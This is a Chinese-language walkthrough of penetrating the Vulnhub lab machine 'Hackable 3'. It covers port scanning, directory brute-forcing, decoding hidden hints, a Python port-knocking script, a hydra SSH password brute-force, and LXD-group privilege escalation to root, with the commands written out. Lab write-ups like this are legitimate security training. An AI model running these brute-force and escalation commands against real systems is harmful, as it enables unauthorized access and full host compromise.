一、前言
由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!
1、靶机ip配置
- Kali IP:192.168.2.103
- 靶机IP:192.168.2.129
靶机ip获取方式如下图
2、渗透目标
- 获取到/root/目录下的flag文件
3、渗透概括
- 获取端口信息文件
- web目录扫描
- base64和Brainfuck解码
- 获取字典
- 端口敲门
- ssh爆破
- 获取新用户
- lxd提权
开始实战
一、信息获取
使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP
如下所示
可以看到,开放的端口还是比较的多
发现了几个常用端口服务22/ssh 80/http
22/ssh
ssh可以直接pass掉了,这个版本基本上没有什么可利用的漏洞了,一般获取到了用户信息才使用这个,更重要的是这个服务目前被防火墙过滤掉了是filtered
状态
80/http
基本上大部分的漏洞都是存在于web服务上,我们访问看看,如下图。是一个有点好看的web页面
我们Ctrl+u
打开源代码页面,可以发现一个提示的注释
意思是求求你,juBiscleudo,在离开你的部门时,不要忘记激活端口敲门,并告诉老板不要忘记批准.jpg文件-dev_suport@hackable3.com
通过这个提示我们可以了解到.jpg
文件和端口敲门
(可以推测是敲开22端口),还有一个邮箱dev_suport@hackable3.com
和一个可能的用户名jubiscleudo
我们用gobuster
对网站爆破一下,由于前面的提示信息表示有jpg文件,所以我们要再加一个jpg
的后缀
gobuster dir -u http://192.168.2.132/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x jpg,php,txt,html
扫描结果如下,发现有几个关键信息robots.txt
,3.jpg
,/backup
,/config
,/login.php
这几个关键文件和目录
我们先看看robots.txt文件
发现不允许我们看config
目录,那我非要看看
有一个1.txt
文件,我们继续打开看看
发现是一个base64
编码的内容
我们用echo "MTAwMDA=" |openssl base64 -d
解码,发现内容是10000
,我们记录一下(可能是端口敲门需要敲的端口)
我们继续看看/backup
目录
发现了一个wordlist.txt
文件
点击进去看看,发现可能是一个字典文件
我们用curl
工具保存一下
我们继续访问一下3.jpg
,是一个图片,从图上没有看到什么有用的东西
我们把这个图片下载下来用steghide
工具分离一下这个图片,发现有一个steganopayload148505.txt
文件被分离出来了
我们查看一下这个文件,发现了新的端口65535
,有1.txt和3.txt了,那么还差一个2.txt
需要我们去寻找
最终在/css/
目录里面跑出了2.txt
文件
我们用curl一下这个2.txt文件的内容,根据以往做靶机的经验这是一个很明显的Brainfuck
编码
根据解码的结果,发现了第二个端口4444
(解码网站直达链接-戳我)
二、端口敲门
我们清点一下目前掌握的信息
用户名: jubiscleudo
邮箱:dev_suport@hackable3.com
三个端口(按文件名顺序):10000,4444,65535
一本字典:wordlist.txt
由于22/ssh
端口被过滤了,我们尝试用python
自己写一个端口敲门的程序,并且执行,如下所示
import socket
def scan_port(target_host, target_port):
for port in target_port:
try:
# 创建套接字对象
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 设置超时时间
sock.settimeout(1)
# 尝试连接到目标主机和端口
sock.connect((target_host, port))
except socket.error:
pass
finally:
# 关闭套接字
sock.close()
# 在这里替换为你要扫描的目标主机和端口
target_host = "192.168.2.132"
# 调用扫描函数
scan_port(target_host, [10000, 4444, 65535])
再次扫描22/ssh
端口,可以看到下图,22端口就已经打开了
三、ssh爆破
我们现在使用hydra
工具对用获得的ssh字典和用户进行爆破
爆出来的密码为onlymy
命令:hydra -l jubiscleudo -P wordlist.txt -t 32 -s 22 192.168.2.132 ssh
用爆出来的密码成功登录ssh
四、获取另一个用户密码
我们看看/home
目录下的用户,发现了另外一个用户hackable_3
我们到web目录下去cd /var/www/html/
发现了一个.backup_config.php
的隐藏文件
用cat
命令查看一下,成功发现hackable_3
的密码TrOLLED_3
我们用su
命令登录hackable_3
用户
五、LXD提权
无意间用id
命令看了一下,发现当前用户所在lxd
组,感觉来了,根据经验这个很有可能是个lxd提权
何为LXD呢?
LXD(Linux Containers Daemon)是一个用于管理 Linux 容器的守护进程。它提供了一个用户友好的命令行界面和 RESTful API,用于创建、管理和监视 Linux 容器。LXD 构建在 LXC(Linux Containers)之上,是一个轻量级、高性能的容器虚拟化解决方案。
利用原理就是利用lxd组的用户创建一个容器,再用容器挂载到宿主机的磁盘,就可以利用容器的权限(运行在root权限下)操作这个宿主机从而达到提权了
那我们现在就开始实践
我们先在Github(戳我直达,下载不了的话私信博主)下载一下所需要的文件
然后放到kali里面,解压并且进入到解压的目录,如下操作
./build-alpine
运行一下这个构建文件
等待一段时间就能构建完成,我们用python -m http.server 80
命令创建一个http的目录浏览服务,方便我们传输文件
我们到靶机里面用wget
命令下载一下alpine-v3.13-x86_64-20210218_0139.tar.gz
文件
如下图,我们用lxd
命令导入一下
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
再执行lxc image list
命令
这个FINGERPRINT
的值cd73881adaac
需要记住一下,后面要用
我们输入lxd init
命令之后一路回车即可完成
我们通过如下步骤进行lxd提权
# 我们创建一个容器命名为tiquan
hackable_3@ubuntu20:/snap/lxd$ lxc init cd73881adaac tiquan -c security.privileged=true
Creating tiquan
#挂载一下
hackable_3@ubuntu20:/snap/lxd$ lxc config device add tiquan mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to tiquan
# 启动这个tiquan容器
hackable_3@ubuntu20:/snap/lxd$ lxc start tiquan
# 进入,就可以拿到root权限了
hackable_3@ubuntu20:/snap/lxd$ lxc exec tiquan /bin/sh
~#
我们cd /mnt/root/root目录下面
即可拿到flag文件,至此该靶机渗透完成